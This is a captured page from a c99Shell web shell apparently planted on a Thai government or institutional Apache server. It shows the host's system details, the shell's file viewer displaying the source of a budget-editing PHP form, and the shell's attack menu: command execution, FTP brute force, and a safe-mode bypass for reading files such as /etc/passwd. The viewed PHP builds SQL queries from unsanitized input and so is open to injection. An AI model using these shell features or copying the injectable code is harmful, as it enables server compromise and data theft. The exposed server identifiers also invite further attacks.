!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/manage_depart_bk/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditFin1.php (8.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
ConnectDB();
$Username $valid_user;
$sql ="SELECT * FROM finance4_tb WHERE code='$code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
.style2 {font-family: Tahoma}
-->
</style>
<table width="822" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="822"><span class="style1"><br>
        </span>
          <fieldset>
            <legend class="style1"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_manage.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="AddFina.php">เพิ่มข้อมูล</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditFinaList.php">แก้ไขข้อมูล</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขงบข้อมูลบุคลากร</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="EditFina.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="60%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" bgcolor="#CCCCCC" style="border:0px solid gray">
                  <tr bgcolor="#E3F7DB">
                    <td height="23" colspan="3" bgcolor="#eeeeee"><div align="center"><strong><span class="style1"><font color="#FF0000" face="Tahoma">แก้ไข</font> <font color="#FFCC66" face="Tahoma"><strong><font color="#000000" face="Tahoma">ข้อมูล</font><font color="#FFCC66" face="Tahoma"><strong><font color="#000000">งบบุคลากร</font></strong></font></strong></font></span></strong></div></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td width="28%" bordercolor="#0066CC" bgcolor="#eeeeee"><div align="center" class="style1 style2">ปีงบประมาณ</div></td>
                    <td width="2%" bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
                    <td width="70%" bordercolor="#CCCCCC" bgcolor="#eeeeee"><input name="Year_budget" type="text" id="Year_budget" value="<? echo $rs[Year_budget]?>" size="4" maxlength="4" />                    </td>
                  </tr>
                  <tr bgcolor="#99CCFF">
                    <td bgcolor="#eeeeee"><div align="center" class="style1"><font color="#000000" face="Tahoma">ประจำเดือน</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><font color="#003366" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                    <select name="Month" id="select5" class="input1">
                      <?php
             $monthCode 
=  $rs["Month"];
           
$sql3"SELECT * FROM  month_tb   Where   monthCode ='$monthCode' ";
           
$result3mysql_query($sql3);
            
$sql4 "SELECT * FROM   month_tb Order By  monthCode  ";
            
$result4mysql_query($sql4);
                 while( 
$rss3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rss3[monthCode]\" ><b>$rss3[month]</b></option>\n";
                 while( 
$rss4 mysql_fetch_array($result4))     
                 {
                 echo
"<option value=\"$rss4[monthCode]\" ><b>$rss4[month]</b></option>\n";
                }
                    }        
          
?>
                    </select>
                    </font></strong></font></strong></font></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td bordercolor="#0066CC" bgcolor="#eeeeee"><div align="center" class="style1"><font color="#003366" face="Tahoma">วัน/เดือน/ปี </font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><span class="style1"><font color="#000000" face="Tahoma"> วันที่
                          <select name="mDate" id="mDate" class="select" >
                            <?php
           $Date_note 
$rs[Date_note];
           
$yearthai explode("-",$Date_note);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                          </select>
                      เดือน
                      <select name="mMonth" id="select2" class="select" >
                        <?php
          $Date_note 
$rs[Date_note];
           
$yearthai explode("-",$Date_note);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                      </select>
                      ปี พ.ศ.
                      <input name="mYear" type="text" class="input" id="mYear" value="<? echo $mYear ?>" size="4" maxlength="4" />
                    </font> </span></td>
                  </tr>
                  <tr bgcolor="#99CCFF">
                    <td bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">ค่าจ้างชั่วคราว<br />
                    </font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><span class="style1">
                    <input name="Cost1" type="text" id="Cost1" value="<? echo $rs[Cost1]?>" size="8" />
                      <font face="Tahoma">บาท <font color="#FF0000">*ไม่ต้องพิมพ์เครื่องหมาย 
                    comma (,)</font></font></span></td>
                  </tr>
                  <tr bgcolor="#99CCFF">
                    <td bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">ค่าประกันสังคม<br />
                    </font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font color="#FF0000" size="2" face="Tahoma">*</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><span class="style1">
                    <input name="Cost2" type="text" id="Cost2" value="<? echo $rs[Cost2]?>" size="8" />
                    <font face="Tahoma">บาท </font></span></td>
                  </tr>
                  <tr bgcolor="#E3F7DB" >
                    <td height="26" colspan="3" bgcolor="#eeeeee"><div align="center">
                        <input type="hidden" name="code" value=" <? echo $rs[code]?>" />
                        <input type="submit" name="Submit" value="    บันทึก    " />
                    </div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--